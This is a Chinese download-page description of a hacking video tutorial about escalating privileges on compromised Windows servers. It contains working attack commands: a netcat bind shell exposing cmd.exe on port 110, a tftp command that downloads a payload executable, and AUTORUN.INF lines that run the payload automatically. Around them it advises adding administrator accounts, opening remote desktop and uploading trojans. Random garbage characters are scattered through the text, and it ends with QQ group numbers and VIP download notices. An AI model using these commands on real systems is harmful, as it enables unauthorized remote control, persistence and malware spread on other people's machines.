NC反弹提权教程

软件简介：
(注意:这是语音教程,请打开您的音响,并且使用1024*768的屏幕分辨率来观看本教程!)
3 P( g" Z# b, z2 d教程名称:NC反弹提权教程
主讲:低调小飞
& H/ z# V: O& E
3 o' M$ o# r+ ~; X3 H# A. P; u7 b7 ~5 i环境说明：
Server-U 不可利用 pcAnywhere没有安装

提权思路:
上传NC，进行反弹连接。
命令说明：
nc -l -p 110 -t -e c:\winnt\system32\cmd.exe
: T9 l, y- `" j) q7 O-l 监听本地入栈信息

-p port 打开本地端口
/ [& }$ `3 J8 {" g-t 以telnet形式应答入栈请求

7 L+ V  z& X" C; Q+ W-e 程序重定向


C:\RECYCLER\cmd.exe
C:\RECYCLER\nc -l -p 110 -t -e c:\winnt\system32\cmd.exe
C:\RECYCLER\nc -l -p 110 -t -e C:\RECYCLER\cmd.exe
接下来留给我们的空间就比较充足了，我们可以添加管理员后开接对方3389，(如果没有开放我们可以手动放开)还可以直接上传木马等等...
$ X8 n! j0 j) [$ p* R8 ctftp -i 192.168.1.100 get 1.exe
[AutoRun]
: K# \" Z4 R8 o5 |0 N( v/ V$ dopen=1.exe
: h' ^+ {. |  m+ ~% a2 O1 Ushellexecute=1.exe
shell\Auto\command=1.exe

echo [AutoRun]AUTORUN.INF
$ X/ V/ p5 I+ Z. l/ Oecho open=1.exeAUTORUN.INF
/ ?4 m6 f) U# [( V: Z/ rvbs自动下载自动运行

QQ:176624470
  l5 H/ I  Y2 y6 u( D3 z. L; l) M4 I+ p=============================
: y" f6 `* u8 _" \4 t41259640低調小飛技術交流群㈡
' J, l8 ~, o( H' i, @8 i8 J41209575低調小飛技術交流群㈢
41209451低調小飛技術交流群㈣
8 n( P( n6 m4 N! F22387823低調小飛技術交流群㈤
16599303低調小飛技術交流群㈥
16639680低調小飛技術交流群㈦
* [* R2 L7 x. Y; W, f) j: O" Q$ b41209297低調小飛技術交流群㈧
- K0 D6 i) b, M7 ?下载地址：

2008-8-18 15:33 上传 NC反弹提权教程.rar

下载权限:

版本vip会员

本地下载 检测资源   提取码: 需要终身vip或更高权限

有些游戏资源需要vip下载开通请点击开通vip